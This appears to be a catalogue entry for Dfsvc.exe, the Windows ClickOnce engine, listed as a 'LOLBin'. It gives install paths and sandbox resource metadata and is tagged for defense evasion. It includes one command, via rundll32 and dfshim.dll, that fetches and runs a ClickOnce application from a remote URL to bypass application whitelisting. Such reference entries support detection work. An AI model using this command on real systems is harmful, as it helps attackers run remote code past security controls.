ClickOnce engine in Windows used by .NET Located at: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe; C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe; C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe.
dfsvcdfsvcSandbox: execFile · Timeout: 30s
security.defense-evasion.bypass Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | low |
Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host) (Use binary to bypass Application whitelisting)
rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}dfsvc is a Windows LOLBin. ClickOnce engine in Windows used by .NET Located at: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe; C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe; C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe.